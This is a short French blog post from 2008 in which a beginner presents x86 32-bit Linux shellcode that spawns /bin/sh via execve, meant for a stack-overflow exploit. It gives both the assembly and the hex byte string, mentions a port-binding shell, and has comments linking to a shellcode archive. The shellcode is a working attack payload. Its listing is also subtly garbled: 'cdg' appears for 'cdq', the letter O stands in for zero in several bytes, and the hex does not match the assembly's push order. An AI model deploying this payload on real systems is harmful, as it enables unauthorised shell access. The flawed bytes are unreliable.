2008/04/12

Shellcode et Port Binder en ASM x86 (32 Bits )

Voila , je débute dans l'Asm .
Je posterai ici mes avancées dans ce domaine passionant : celui du langage "machine" .

Voici un exploit utilisant la fonction Syscall Execve (), écrite ici en ASM ,et ayant pour Argument la chaine de caractère que l'on a défini au préalable (commande a exécuter ),ainsi que le caractère de fin de chaine : //bin/sh.
Code réalisé dans le cadre d'une exploitation de Stack Overflow sur systeme UNIX( explications et exploit complet a venir ).



Remerciement a FaSm pour ces tutoriaux de qualités sans qui , ce code ne serait certainement pas la.


Le code assembleur suivant permet l'ouverture d'un shell ( /bin/sh )

BITS 32
xor eax,eax
cdg
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Ce qui , une fois transformé en hexadécimal donnerait :
"\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89
\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80"
Soit un Shellcode en hexa de 24 octets .
Suite au fur et a mesure de mon avancement .

Autre exemple de code ASM trés utilisé :
un Port Binding Shell
Lui aussi est basé sur le Syscall execve() mais effectu une connexion via un port .
Il créé la Socket , écoute et accepte une connexion tout en lui offrant un /bin/sh .
Voir le code ici : Port-binding-shell
merci a tous !

2 commentaires:

jonathan a dit…

Pour finaliser ce petit tutoriel il y a ce site qui contient plusieurs shellcodes et documents.

http://www.shell-storm.org/shellcode/

jonathan a dit…

Bonjour,

Voici plein d'exemples de shellcode "PortBind"
http://www.shell-storm.org/search/index.php?search=bind

Cordialement,